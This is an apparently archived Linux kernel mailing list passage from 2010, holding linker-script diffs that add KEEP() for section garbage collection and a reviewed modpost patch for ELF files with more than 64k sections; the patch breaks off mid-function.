+++ linux-2.6.35-rc4-fsgs.obj/arch/m68knommu/kernel/vmlinux.lds.S
@@ -72,7 +72,7 @@
 
 		. = ALIGN(16);          /* Exception table              */
 		__start___ex_table = .;
-		*(__ex_table)
+		KEEP(*(__ex_table))
 		__stop___ex_table = .;
 
 		*(.rodata .rodata.*)
@@ -129,16 +129,16 @@
 
 		/* Kernel symbol table: GPL-future symbols */
 		__start___kcrctab_gpl_future = .;
-		*(__kcrctab_gpl_future)
+		KEEP(*(__kcrctab_gpl_future))
 		__stop___kcrctab_gpl_future = .;
 
 		/* Kernel symbol table: strings */
-		*(__ksymtab_strings)
+		KEEP(*(__ksymtab_strings))
 
 		/* Built-in module parameters */
 		. = ALIGN(4) ;
 		__start___param = .;
-		*(__param)
+		KEEP(*(__param))
 		__stop___param = .;
 
 		. = ALIGN(4) ;
--- linux-2.6.35-rc4.fs/arch/microblaze/kernel/vmlinux.lds.S
+++ linux-2.6.35-rc4-fsgs.obj/arch/microblaze/kernel/vmlinux.lds.S
@@ -122,7 +122,7 @@
 
 	.init.ramfs ALIGN(4096) : AT(ADDR(.init.ramfs) - LOAD_OFFSET) {
 		__initramfs_start = .;
-		*(.init.ramfs)
+		KEEP(*(.init.ramfs))
 		__initramfs_end = .;
 		. = ALIGN(4);
 		LONG(0);
--- linux-2.6.35-rc4.fs/arch/mn10300/kernel/vmlinux.lds.S
+++ linux-2.6.35-rc4-fsgs.obj/arch/mn10300/kernel/vmlinux.lds.S
@@ -51,7 +51,7 @@
   . = ALIGN(PAGE_SIZE);
   .smp_locks : AT(ADDR(.smp_locks) - LOAD_OFFSET) {
   	__smp_locks = .;
-	*(.smp_locks)
+	KEEP(*(.smp_locks))
 	__smp_locks_end = .;
   }
 
@@ -62,9 +62,9 @@
   INIT_DATA_SECTION(16)
   . = ALIGN(4);
   __alt_instructions = .;
-  .altinstructions : { *(.altinstructions) }
+  .altinstructions : { KEEP(*(.altinstructions)) }
   __alt_instructions_end = .;
- .altinstr_replacement : { *(.altinstr_replacement) }
+ .altinstr_replacement : { KEEP(*(.altinstr_replacement)) }
   /* .exit.text is discard at runtime, not link time, to deal with references
      from .altinstructions and .eh_frame */
 	.exit.text : { EXIT_TEXT; }
--- linux-2.6.35-rc4.fs/arch/um/include/asm/common.lds.S
+++ linux-2.6.35-rc4-fsgs.obj/arch/um/include/asm/common.lds.S
@@ -76,10 +76,10 @@
   . = ALIGN(4);
   .altinstructions : {
 	__alt_instructions = .;
-	*(.altinstructions)
+	KEEP(*(.altinstructions))
 	__alt_instructions_end = .;
   }
-  .altinstr_replacement : { *(.altinstr_replacement) }
+  .altinstr_replacement : { KEEP(*(.altinstr_replacement)) }
   /* .exit.text is discard at runtime, not link time, to deal with references
      from .altinstructions and .eh_frame */
   .exit.text : { *(.exit.text) }
--- linux-2.6.35-rc4.fs/arch/x86/kernel/vmlinux.lds.S
+++ linux-2.6.35-rc4-fsgs.obj/arch/x86/kernel/vmlinux.lds.S
@@ -162,46 +162,46 @@
 
 	. = VSYSCALL_ADDR;
 	.vsyscall_0 : AT(VLOAD(.vsyscall_0)) {
-		*(.vsyscall_0)
+		KEEP(*(.vsyscall_0))
 	} :user
 
 	. = ALIGN(L1_CACHE_BYTES);
 	.vsyscall_fn : AT(VLOAD(.vsyscall_fn)) {
-		*(.vsyscall_fn)
+		KEEP(*(.vsyscall_fn))
 	}
 
 	. = ALIGN(L1_CACHE_BYTES);
 	.vsyscall_gtod_data : AT(VLOAD(.vsyscall_gtod_data)) {
-		*(.vsyscall_gtod_data)
+		KEEP(*(.vsyscall_gtod_data))
 	}
 
 	vsyscall_gtod_data = VVIRT(.vsyscall_gtod_data);
 	.vsyscall_clock : AT(VLOAD(.vsyscall_clock)) {
-		*(.vsyscall_clock)
+		KEEP(*(.vsyscall_clock))
 	}
 	vsyscall_clock = VVIRT(.vsyscall_clock);
 
 
 	.vsyscall_1 ADDR(.vsyscall_0) + 1024: AT(VLOAD(.vsyscall_1)) {
-		*(.vsyscall_1)
+		KEEP(*(.vsyscall_1))
 	}
 	.vsyscall_2 ADDR(.vsyscall_0) + 2048: AT(VLOAD(.vsyscall_2)) {
-		*(.vsyscall_2)
+		KEEP(*(.vsyscall_2))
 	}
 
 	.vgetcpu_mode : AT(VLOAD(.vgetcpu_mode)) {
-		*(.vgetcpu_mode)
+		KEEP(*(.vgetcpu_mode))
 	}
 	vgetcpu_mode = VVIRT(.vgetcpu_mode);
 
 	. = ALIGN(L1_CACHE_BYTES);
 	.jiffies : AT(VLOAD(.jiffies)) {
-		*(.jiffies)
+		KEEP(*(.jiffies))
 	}
 	jiffies = VVIRT(.jiffies);
 
 	.vsyscall_3 ADDR(.vsyscall_0) + 3072: AT(VLOAD(.vsyscall_3)) {
-		*(.vsyscall_3)
+		KEEP(*(.vsyscall_3))
 	}
 
 	. = __vsyscall_0 + PAGE_SIZE;
@@ -252,12 +252,12 @@
 	. = ALIGN(8);
 	.altinstructions : AT(ADDR(.altinstructions) - LOAD_OFFSET) {
 		__alt_instructions = .;
-		*(.altinstructions)
+		KEEP(*(.altinstructions))
 		__alt_instructions_end = .;
 	}
 
 	.altinstr_replacement : AT(ADDR(.altinstr_replacement) - LOAD_OFFSET) {
-		*(.altinstr_replacement)
+		KEEP(*(.altinstr_replacement))
 	}
 
 	/*
@@ -290,7 +290,7 @@
 	. = ALIGN(PAGE_SIZE);
 	.smp_locks : AT(ADDR(.smp_locks) - LOAD_OFFSET) {
 		__smp_locks = .;
-		*(.smp_locks)
+		KEEP(*(.smp_locks))
 		. = ALIGN(PAGE_SIZE);
 		__smp_locks_end = .;
 	}
--- linux-2.6.35-rc4.fs/arch/x86/vdso/vdso-layout.lds.S
+++ linux-2.6.35-rc4-fsgs.obj/arch/x86/vdso/vdso-layout.lds.S
@@ -34,8 +34,8 @@
 	      *(.gnu.linkonce.b.*)
 	}
 
-	.altinstructions	: { *(.altinstructions) }
-	.altinstr_replacement	: { *(.altinstr_replacement) }
+	.altinstructions	: { KEEP(*(.altinstructions)) }
+	.altinstr_replacement	: { KEEP(*(.altinstr_replacement)) }
 
 	/*
 	 * Align the actual code well away from the non-instruction data.
--- linux-2.6.35-rc4.fs/include/asm-generic/vmlinux.lds.h
+++ linux-2.6.35-rc4-fsgs.obj/include/asm-generic/vmlinux.lds.h
@@ -229,25 +229,25 @@
 	/* PCI quirks */						\
 	.pci_fixup        : AT(ADDR(.pci_fixup) - LOAD_OFFSET) {	\
 		VMLINUX_SYMBOL(__start_pci_fixups_early) = .;		\
-		*(.pci_fixup_early)					\
+		KEEP(*(.pci_fixup_early))				\
 		VMLINUX_SYMBOL(__end_pci_fixups_early) = .;		\
 		VMLINUX_SYMBOL(__start_pci_fixups_header) = .;		\
-		*(.pci_fixup_header)					\
+		KEEP(*(.pci_fixup_header))				\
 		VMLINUX_SYMBOL(__end_pci_fixups_header) = .;		\
 		VMLINUX_SYMBOL(__start_pci_fixups_final) = .;		\
-		*(.pci_fixup_final)					\
+		KEEP(*(.pci_fixup_final))				\
 		VMLINUX_SYMBOL(__end_pci_fixups_final) = .;		\
 		VMLINUX_SYMBOL(__start_pci_fixups_enable) = .;		\
-		*(.pci_fixup_enable)					\
+		KEEP(*(.pci_fixup_enable))				\
 		VMLINUX_SYMBOL(__end_pci_fixups_enable) = .;		\
 		VMLINUX_SYMBOL(__start_pci_fixups_resume) = .;		\
-		*(.pci_fixup_resume)					\
+		KEEP(*(.pci_fixup_resume))				\
 		VMLINUX_SYMBOL(__end_pci_fixups_resume) = .;		\
 		VMLINUX_SYMBOL(__start_pci_fixups_resume_early) = .;	\
-		*(.pci_fixup_resume_early)				\
+		KEEP(*(.pci_fixup_resume_early))			\
 		VMLINUX_SYMBOL(__end_pci_fixups_resume_early) = .;	\
 		VMLINUX_SYMBOL(__start_pci_fixups_suspend) = .;		\
-		*(.pci_fixup_suspend)					\
+		KEEP(*(.pci_fixup_suspend))				\
 		VMLINUX_SYMBOL(__end_pci_fixups_suspend) = .;		\
 	}								\
 									\
@@ -270,76 +270,76 @@
 	/* Kernel symbol table: Normal symbols */			\
 	__ksymtab         : AT(ADDR(__ksymtab) - LOAD_OFFSET) {		\
 		VMLINUX_SYMBOL(__start___ksymtab) = .;			\
-		*(__ksymtab)						\
+		KEEP(*(__ksymtab))					\
 		VMLINUX_SYMBOL(__stop___ksymtab) = .;			\
 	}								\
 									\
 	/* Kernel symbol table: GPL-only symbols */			\
 	__ksymtab_gpl     : AT(ADDR(__ksymtab_gpl) - LOAD_OFFSET) {	\
 		VMLINUX_SYMBOL(__start___ksymtab_gpl) = .;		\
-		*(__ksymtab_gpl)					\
+		KEEP(*(__ksymtab_gpl))					\
 		VMLINUX_SYMBOL(__stop___ksymtab_gpl) = .;		\
 	}								\
 									\
 	/* Kernel symbol table: Normal unused symbols */		\
 	__ksymtab_unused  : AT(ADDR(__ksymtab_unused) - LOAD_OFFSET) {	\
 		VMLINUX_SYMBOL(__start___ksymtab_unused) = .;		\
-		*(__ksymtab_unused)					\
+		KEEP(*(__ksymtab_unused))				\
 		VMLINUX_SYMBOL(__stop___ksymtab_unused) = .;		\
 	}								\
 									\
 	/* Kernel symbol table: GPL-only unused symbols */		\
 	__ksymtab_unused_gpl : AT(ADDR(__ksymtab_unused_gpl) - LOAD_OFFSET) { \
 		VMLINUX_SYMBOL(__start___ksymtab_unused_gpl) = .;	\
-		*(__ksymtab_unused_gpl)					\
+		KEEP(*(__ksymtab_unused_gpl))				\
 		VMLINUX_SYMBOL(__stop___ksymtab_unused_gpl) = .;	\
 	}								\
 									\
 	/* Kernel symbol table: GPL-future-only symbols */		\
 	__ksymtab_gpl_future : AT(ADDR(__ksymtab_gpl_future) - LOAD_OFFSET) { \
 		VMLINUX_SYMBOL(__start___ksymtab_gpl_future) = .;	\
-		*(__ksymtab_gpl_future)					\
+		KEEP(*(__ksymtab_gpl_future))				\
 		VMLINUX_SYMBOL(__stop___ksymtab_gpl_future) = .;	\
 	}								\
 									\
 	/* Kernel symbol table: Normal symbols */			\
 	__kcrctab         : AT(ADDR(__kcrctab) - LOAD_OFFSET) {		\
 		VMLINUX_SYMBOL(__start___kcrctab) = .;			\
-		*(__kcrctab)						\
+		KEEP(*(__kcrctab))					\
 		VMLINUX_SYMBOL(__stop___kcrctab) = .;			\
 	}								\
 									\
 	/* Kernel symbol table: GPL-only symbols */			\
 	__kcrctab_gpl     : AT(ADDR(__kcrctab_gpl) - LOAD_OFFSET) {	\
 		VMLINUX_SYMBOL(__start___kcrctab_gpl) = .;		\
-		*(__kcrctab_gpl)					\
+		KEEP(*(__kcrctab_gpl))					\
 		VMLINUX_SYMBOL(__stop___kcrctab_gpl) = .;		\
 	}								\
 									\
 	/* Kernel symbol table: Normal unused symbols */		\
 	__kcrctab_unused  : AT(ADDR(__kcrctab_unused) - LOAD_OFFSET) {	\
 		VMLINUX_SYMBOL(__start___kcrctab_unused) = .;		\
-		*(__kcrctab_unused)					\
+		KEEP(*(__kcrctab_unused))				\
 		VMLINUX_SYMBOL(__stop___kcrctab_unused) = .;		\
 	}								\
 									\
 	/* Kernel symbol table: GPL-only unused symbols */		\
 	__kcrctab_unused_gpl : AT(ADDR(__kcrctab_unused_gpl) - LOAD_OFFSET) { \
 		VMLINUX_SYMBOL(__start___kcrctab_unused_gpl) = .;	\
-		*(__kcrctab_unused_gpl)					\
+		KEEP(*(__kcrctab_unused_gpl))				\
 		VMLINUX_SYMBOL(__stop___kcrctab_unused_gpl) = .;	\
 	}								\
 									\
 	/* Kernel symbol table: GPL-future-only symbols */		\
 	__kcrctab_gpl_future : AT(ADDR(__kcrctab_gpl_future) - LOAD_OFFSET) { \
 		VMLINUX_SYMBOL(__start___kcrctab_gpl_future) = .;	\
-		*(__kcrctab_gpl_future)					\
+		KEEP(*(__kcrctab_gpl_future))				\
 		VMLINUX_SYMBOL(__stop___kcrctab_gpl_future) = .;	\
 	}								\
 									\
 	/* Kernel symbol table: strings */				\
         __ksymtab_strings : AT(ADDR(__ksymtab_strings) - LOAD_OFFSET) {	\
-		*(__ksymtab_strings)					\
+		KEEP(*(__ksymtab_strings))				\
 	}								\
 									\
 	/* __*init sections */						\
@@ -356,7 +356,7 @@
 	/* Built-in module parameters. */				\
 	__param : AT(ADDR(__param) - LOAD_OFFSET) {			\
 		VMLINUX_SYMBOL(__start___param) = .;			\
-		*(__param)						\
+		KEEP(*(__param))					\
 		VMLINUX_SYMBOL(__stop___param) = .;			\
 		. = ALIGN((align));					\
 		VMLINUX_SYMBOL(__end_rodata) = .;			\
@@ -371,7 +371,7 @@
 #define SECURITY_INIT							\
 	.security_initcall.init : AT(ADDR(.security_initcall.init) - LOAD_OFFSET) { \
 		VMLINUX_SYMBOL(__security_initcall_start) = .;		\
-		*(.security_initcall.init) 				\
+		KEEP(*(.security_initcall.init))			\
 		VMLINUX_SYMBOL(__security_initcall_end) = .;		\
 	}
 
@@ -424,7 +424,7 @@
 #endif
 
 /* Section used for early init (in .S files) */
-#define HEAD_TEXT  *(.head.text)
+#define HEAD_TEXT  KEEP(*(.head.text))
 
 #define HEAD_TEXT_SECTION							\
 	.head.text : AT(ADDR(.head.text) - LOAD_OFFSET) {		\
@@ -438,7 +438,7 @@
 	. = ALIGN(align);						\
 	__ex_table : AT(ADDR(__ex_table) - LOAD_OFFSET) {		\
 		VMLINUX_SYMBOL(__start___ex_table) = .;			\
-		*(__ex_table)						\
+		KEEP(*(__ex_table))					\
 		VMLINUX_SYMBOL(__stop___ex_table) = .;			\
 	}
 
@@ -591,29 +591,29 @@
 #define INIT_SETUP(initsetup_align)					\
 		. = ALIGN(initsetup_align);				\
 		VMLINUX_SYMBOL(__setup_start) = .;			\
-		*(.init.setup)						\
+		KEEP(*(.init.setup))					\
 		VMLINUX_SYMBOL(__setup_end) = .;
 
 #define INITCALLS							\
-	*(.initcallearly.init)						\
+	KEEP(*(.initcallearly.init))					\
 	VMLINUX_SYMBOL(__early_initcall_end) = .;			\
-  	*(.initcall0.init)						\
-  	*(.initcall0s.init)						\
-  	*(.initcall1.init)						\
-  	*(.initcall1s.init)						\
-  	*(.initcall2.init)						\
-  	*(.initcall2s.init)						\
-  	*(.initcall3.init)						\
-  	*(.initcall3s.init)						\
-  	*(.initcall4.init)						\
-  	*(.initcall4s.init)						\
-  	*(.initcall5.init)						\
-  	*(.initcall5s.init)						\
-	*(.initcallrootfs.init)						\
-  	*(.initcall6.init)						\
-  	*(.initcall6s.init)						\
-  	*(.initcall7.init)						\
-  	*(.initcall7s.init)
+	KEEP(*(.initcall0.init))					\
+	KEEP(*(.initcall0s.init))					\
+	KEEP(*(.initcall1.init))					\
+	KEEP(*(.initcall1s.init))					\
+	KEEP(*(.initcall2.init))					\
+	KEEP(*(.initcall2s.init))					\
+	KEEP(*(.initcall3.init))					\
+	KEEP(*(.initcall3s.init))					\
+	KEEP(*(.initcall4.init))					\
+	KEEP(*(.initcall4s.init))					\
+	KEEP(*(.initcall5.init))					\
+	KEEP(*(.initcall5s.init))					\
+	KEEP(*(.initcallrootfs.init))					\
+	KEEP(*(.initcall6.init))					\
+	KEEP(*(.initcall6s.init))					\
+	KEEP(*(.initcall7.init))					\
+	KEEP(*(.initcall7s.init))
 
 #define INIT_CALLS							\
 		VMLINUX_SYMBOL(__initcall_start) = .;			\
@@ -622,19 +622,19 @@
 
 #define CON_INITCALL							\
 		VMLINUX_SYMBOL(__con_initcall_start) = .;		\
-		*(.con_initcall.init)					\
+		KEEP(*(.con_initcall.init))				\
 		VMLINUX_SYMBOL(__con_initcall_end) = .;
 
 #define SECURITY_INITCALL						\
 		VMLINUX_SYMBOL(__security_initcall_start) = .;		\
-		*(.security_initcall.init)				\
+		KEEP(*(.security_initcall.init))			\
 		VMLINUX_SYMBOL(__security_initcall_end) = .;
 
 #ifdef CONFIG_BLK_DEV_INITRD
 #define INIT_RAM_FS							\
 	. = ALIGN(PAGE_SIZE);						\
 	VMLINUX_SYMBOL(__initramfs_start) = .;				\
-	*(.init.ramfs)							\
+	KEEP(*(.init.ramfs))						\
 	VMLINUX_SYMBOL(__initramfs_end) = .;
 #else
 #define INIT_RAM_FS

From - Thu Nov 08 21:06:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Denys Vlasenko <vda.linux@googlemail.com>
Newsgroups: gmane.linux.kernel.cross-arch,gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: Testing of function/data-sections on linux-2.6.35-rc4
Date: Mon, 26 Jul 2010 02:52:57 +0200
Lines: 358
Approved: news@gmane.org
Message-ID: <201007260252.57477.vda.linux@googlemail.com>
References: <201007181703.17022.vda.linux@googlemail.com> <20100723191055.GA27054@merkur.ravnborg.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1280105613 5688 80.91.229.12 (26 Jul 2010 00:53:33 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Mon, 26 Jul 2010 00:53:33 +0000 (UTC)
Cc: Tim Abbott <tabbott@ksplice.com>, Tim Bird <tim.bird@am.sony.com>,
	James Bottomley <James.Bottomley@hansenpartnership.com>,
	linux-kernel@vger.kernel.org,
	Matt Fleming <matt@console-pimps.org>,
	linux-arch@vger.kernel.org, Arnd Bergmann <arnd@arndb.de>,
	Michal Marek <mmarek@suse.cz>,
	Parisc List <linux-parisc@vger.kernel.org>
To: Sam Ravnborg <sam@ravnborg.org>
Original-X-From: linux-arch-owner@vger.kernel.org Mon Jul 26 02:53:29 2010
Return-path: <linux-arch-owner@vger.kernel.org>
Envelope-to: glka-linux-arch@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-arch-owner@vger.kernel.org>)
	id 1OdBwe-0001RI-Uz
	for glka-linux-arch@lo.gmane.org; Mon, 26 Jul 2010 02:53:29 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752754Ab0GZAxJ (ORCPT <rfc822;glka-linux-arch@m.gmane.org>);
	Sun, 25 Jul 2010 20:53:09 -0400
Original-Received: from mail-fx0-f46.google.com ([209.85.161.46]:43385 "EHLO
	mail-fx0-f46.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752719Ab0GZAxI (ORCPT
	<rfc822;linux-arch@vger.kernel.org>); Sun, 25 Jul 2010 20:53:08 -0400
Original-Received: by fxm14 with SMTP id 14so5854621fxm.19
        for <multiple recipients>; Sun, 25 Jul 2010 17:53:04 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=googlemail.com; s=gamma;
        h=domainkey-signature:received:received:from:to:subject:date
         :user-agent:cc:references:in-reply-to:mime-version:content-type
         :content-transfer-encoding:content-disposition:message-id;
        bh=1SzSPAlMjk2ZQnEb7zlSYImx3iorzLhzusQNlEkLqHc=;
        b=oaQsPCOr0BEs2KOOp0hVeWDZj+DTCAhk4dCNXWyC/BmKbwVdD2msE0fQS1NeatRJty
         OqhvteoLdzAgLeOj1Suvlw21QEJljoay4EDJDuXHG+KiwjFr0+vBTbP/ONNJAtMmP1M2
         ghL1VmRbHc1PqfSx/Wf3H7Hps+cvBegP0jZSg=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=googlemail.com; s=gamma;
        h=from:to:subject:date:user-agent:cc:references:in-reply-to
         :mime-version:content-type:content-transfer-encoding
         :content-disposition:message-id;
        b=v6547BYP2meE7zn6+a0xpuOmIpwFvGLOe7nVBhn3+bghr3iuMEPwH6QbDT03UtqAaR
         cJdj5Ic0xiysXHlxrZj+k6dSaQRgAVV3jl8x+pgzA8wfDRITsZE6YzSctAIN4swnBqaR
         AyGdBm3ysZ8aumjBvM9HJPmsH5PBKD3oxjCBc=
Original-Received: by 10.223.107.137 with SMTP id b9mr5716352fap.17.1280105584331;
        Sun, 25 Jul 2010 17:53:04 -0700 (PDT)
Original-Received: from shadow (221.47.broadband5.iol.cz [88.100.47.221])
        by mx.google.com with ESMTPS id m3sm1147038fai.17.2010.07.25.17.53.01
        (version=SSLv3 cipher=RC4-MD5);
        Sun, 25 Jul 2010 17:53:01 -0700 (PDT)
User-Agent: KMail/1.8.2
In-Reply-To: <20100723191055.GA27054@merkur.ravnborg.org>
Content-Disposition: inline
Original-Sender: linux-arch-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-arch.vger.kernel.org>
X-Mailing-List: linux-arch@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.cross-arch:7150 gmane.linux.kernel:1014108 gmane.linux.ports.parisc:3001
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3001>

On Friday 23 July 2010 21:10, Sam Ravnborg wrote:
> > 
> > * modpost fix for 64k+ sections: linux-2.6.35-rc4-fs.modpost.patch
> >   This patch is in -mm, it still not reach mainline...
> > 
> 
> Some comments below - but noting fundamental.
>
> +	/* Fixup for more than 64k sections */
> +	info->num_sections = hdr->e_shnum;
> +	if (info->num_sections == 0) { /* more than 64k sections? */
> +		/* note: it doesn't need shndx2secindex() */
> +		info->num_sections = TO_NATIVE(sechdrs[0].sh_size);
> +	}
> I had to read the above twice to get it.
> How about something like this:
> 
> 	/* Fixup for more than 64k sections */
> 	if (hdr->e_shnum == 0) {
> 		/*
> 		 * There are more than 64k sections,
> 		 * read count from .sh_size.
> 		 * note: it doesn't need shndx2secindex()
> 		 */
> 		info->num_sections = TO_NATIVE(sechdrs[0].sh_size);
> 	}
> 	else {
> 		info->num_sections = hdr->e_shnum;
> 	}
> 
> 
> +	info->secindex_strings = hdr->e_shstrndx;
> +	if (info->secindex_strings == SHN_XINDEX)
> +		info->secindex_strings =
> +		    shndx2secindex(TO_NATIVE(sechdrs[0].sh_link));
> 
> Likewise here...

Done both.

...
> -	for (i = 1; i < hdr->e_shnum; i++) {
> -		const char *secstrings
> -			= (void *)hdr + sechdrs[hdr->e_shstrndx].sh_offset;
> +	secstrings = (void *)hdr + sechdrs[info->secindex_strings].sh_offset;
> 
> Moving this assignnet out of the loop is an unrelated
> but welcome change.

I take you are ok with it?

Please find updated patch below.

Signed-off-by: Denys Vlasenko <vda.linux@googlemail.com>
-- 
vda



--- linux-2.6.35-rc4/scripts/mod/file2alias.c
+++ linux-2.6.35-rc4-fs.modpost/scripts/mod/file2alias.c
@@ -884,16 +884,16 @@
 	char *zeros = NULL;
 
 	/* We're looking for a section relative symbol */
-	if (!sym->st_shndx || sym->st_shndx >= info->hdr->e_shnum)
+	if (!sym->st_shndx || get_secindex(info, sym) >= info->num_sections)
 		return;
 
 	/* Handle all-NULL symbols allocated into .bss */
-	if (info->sechdrs[sym->st_shndx].sh_type & SHT_NOBITS) {
+	if (info->sechdrs[get_secindex(info, sym)].sh_type & SHT_NOBITS) {
 		zeros = calloc(1, sym->st_size);
 		symval = zeros;
 	} else {
 		symval = (void *)info->hdr
-			+ info->sechdrs[sym->st_shndx].sh_offset
+			+ info->sechdrs[get_secindex(info, sym)].sh_offset
 			+ sym->st_value;
 	}
 
--- linux-2.6.35-rc4/scripts/mod/modpost.c
+++ linux-2.6.35-rc4-fs.modpost/scripts/mod/modpost.c
@@ -253,7 +253,7 @@
 	return export_unknown;
 }
 
-static enum export export_from_sec(struct elf_info *elf, Elf_Section sec)
+static enum export export_from_sec(struct elf_info *elf, unsigned int sec)
 {
 	if (sec == elf->export_sec)
 		return export_plain;
@@ -373,6 +373,8 @@
 	Elf_Ehdr *hdr;
 	Elf_Shdr *sechdrs;
 	Elf_Sym  *sym;
+	const char *secstrings;
+	unsigned int symtab_idx = ~0U, symtab_shndx_idx = ~0U;
 
 	hdr = grab_file(filename, &info->size);
 	if (!hdr) {
@@ -417,8 +419,27 @@
 		return 0;
 	}
 
+	if (hdr->e_shnum == 0) {
+		/*
+		 * There are more than 64k sections,
+		 * read count from .sh_size.
+		 * note: it doesn't need shndx2secindex()
+		 */
+		info->num_sections = TO_NATIVE(sechdrs[0].sh_size);
+	}
+	else {
+		info->num_sections = hdr->e_shnum;
+	}
+	if (hdr->e_shstrndx == SHN_XINDEX) {
+		info->secindex_strings =
+		    shndx2secindex(TO_NATIVE(sechdrs[0].sh_link));
+	}
+	else {
+		info->secindex_strings = hdr->e_shstrndx;
+	}
+
 	/* Fix endianness in section headers */
-	for (i = 0; i < hdr->e_shnum; i++) {
+	for (i = 0; i < info->num_sections; i++) {
 		sechdrs[i].sh_name      = TO_NATIVE(sechdrs[i].sh_name);
 		sechdrs[i].sh_type      = TO_NATIVE(sechdrs[i].sh_type);
 		sechdrs[i].sh_flags     = TO_NATIVE(sechdrs[i].sh_flags);
@@ -431,9 +452,8 @@
 		sechdrs[i].sh_entsize   = TO_NATIVE(sechdrs[i].sh_entsize);
 	}
 	/* Find symbol table. */
-	for (i = 1; i < hdr->e_shnum; i++) {
-		const char *secstrings
-			= (void *)hdr + sechdrs[hdr->e_shstrndx].sh_offset;
+	secstrings = (void *)hdr + sechdrs[info->secindex_strings].sh_offset;
+	for (i = 1; i < info->num_sections; i++) {
 		const char *secname;
 		int nobits = sechdrs[i].sh_type == SHT_NOBITS;
 
@@ -461,14 +481,26 @@
 		else if (strcmp(secname, "__ksymtab_gpl_future") == 0)
 			info->export_gpl_future_sec = i;
 
-		if (sechdrs[i].sh_type != SHT_SYMTAB)
-			continue;
+		if (sechdrs[i].sh_type == SHT_SYMTAB) {
+			unsigned int sh_link_idx;
+			symtab_idx = i;
+			info->symtab_start = (void *)hdr +
+			    sechdrs[i].sh_offset;
+			info->symtab_stop  = (void *)hdr +
+			    sechdrs[i].sh_offset + sechdrs[i].sh_size;
+			sh_link_idx = shndx2secindex(sechdrs[i].sh_link);
+			info->strtab       = (void *)hdr +
+			    sechdrs[sh_link_idx].sh_offset;
+		}
 
-		info->symtab_start = (void *)hdr + sechdrs[i].sh_offset;
-		info->symtab_stop  = (void *)hdr + sechdrs[i].sh_offset
-			                         + sechdrs[i].sh_size;
-		info->strtab       = (void *)hdr +
-			             sechdrs[sechdrs[i].sh_link].sh_offset;
+		/* 32bit section no. table? ("more than 64k sections") */
+		if (sechdrs[i].sh_type == SHT_SYMTAB_SHNDX) {
+			symtab_shndx_idx = i;
+			info->symtab_shndx_start = (void *)hdr +
+			    sechdrs[i].sh_offset;
+			info->symtab_shndx_stop  = (void *)hdr +
+			    sechdrs[i].sh_offset + sechdrs[i].sh_size;
+		}
 	}
 	if (!info->symtab_start)
 		fatal("%s has no symtab?\n", filename);
@@ -480,6 +512,21 @@
 		sym->st_value = TO_NATIVE(sym->st_value);
 		sym->st_size  = TO_NATIVE(sym->st_size);
 	}
+
+	if (symtab_shndx_idx != ~0U) {
+		Elf32_Word *p;
+		if (symtab_idx !=
+		    shndx2secindex(sechdrs[symtab_shndx_idx].sh_link))
+			fatal("%s: SYMTAB_SHNDX has bad sh_link: %u!=%u\n",
+			      filename,
+			      shndx2secindex(sechdrs[symtab_shndx_idx].sh_link),
+			      symtab_idx);
+		/* Fix endianness */
+		for (p = info->symtab_shndx_start; p < info->symtab_shndx_stop;
+		     p++)
+			*p = TO_NATIVE(*p);
+	}
+
 	return 1;
 }
 
@@ -514,7 +561,7 @@
 			       Elf_Sym *sym, const char *symname)
 {
 	unsigned int crc;
-	enum export export = export_from_sec(info, sym->st_shndx);
+	enum export export = export_from_sec(info, get_secindex(info, sym));
 
 	switch (sym->st_shndx) {
 	case SHN_COMMON:
@@ -656,19 +703,19 @@
 		return "(unknown)";
 }
 
-static const char *sec_name(struct elf_info *elf, int shndx)
+static const char *sec_name(struct elf_info *elf, int secindex)
 {
 	Elf_Shdr *sechdrs = elf->sechdrs;
 	return (void *)elf->hdr +
-	        elf->sechdrs[elf->hdr->e_shstrndx].sh_offset +
-	        sechdrs[shndx].sh_name;
+		elf->sechdrs[elf->secindex_strings].sh_offset +
+		sechdrs[secindex].sh_name;
 }
 
 static const char *sech_name(struct elf_info *elf, Elf_Shdr *sechdr)
 {
 	return (void *)elf->hdr +
-	        elf->sechdrs[elf->hdr->e_shstrndx].sh_offset +
-	        sechdr->sh_name;
+		elf->sechdrs[elf->secindex_strings].sh_offset +
+		sechdr->sh_name;
 }
 
 /* if sym is empty or point to a string
@@ -1047,11 +1094,14 @@
 	Elf_Sym *near = NULL;
 	Elf64_Sword distance = 20;
 	Elf64_Sword d;
+	unsigned int relsym_secindex;
 
 	if (relsym->st_name != 0)
 		return relsym;
+
+	relsym_secindex = get_secindex(elf, relsym);
 	for (sym = elf->symtab_start; sym < elf->symtab_stop; sym++) {
-		if (sym->st_shndx != relsym->st_shndx)
+		if (get_secindex(elf, sym) != relsym_secindex)
 			continue;
 		if (ELF_ST_TYPE(sym->st_info) == STT_SECTION)
 			continue;
@@ -1113,9 +1163,9 @@
 	for (sym = elf->symtab_start; sym < elf->symtab_stop; sym++) {
 		const char *symsec;
 
-		if (sym->st_shndx >= SHN_LORESERVE)
+		if (is_shndx_special(sym->st_shndx))
 			continue;
-		symsec = sec_name(elf, sym->st_shndx);
+		symsec = sec_name(elf, get_secindex(elf, sym));
 		if (strcmp(symsec, sec) != 0)
 			continue;
 		if (!is_valid_name(elf, sym))
@@ -1311,7 +1361,7 @@
 	const char *tosec;
 	const struct sectioncheck *mismatch;
 
-	tosec = sec_name(elf, sym->st_shndx);
+	tosec = sec_name(elf, get_secindex(elf, sym));
 	mismatch = section_mismatch(fromsec, tosec);
 	if (mismatch) {
 		Elf_Sym *to;
@@ -1339,7 +1389,7 @@
 				    Elf_Shdr *sechdr, Elf_Rela *r)
 {
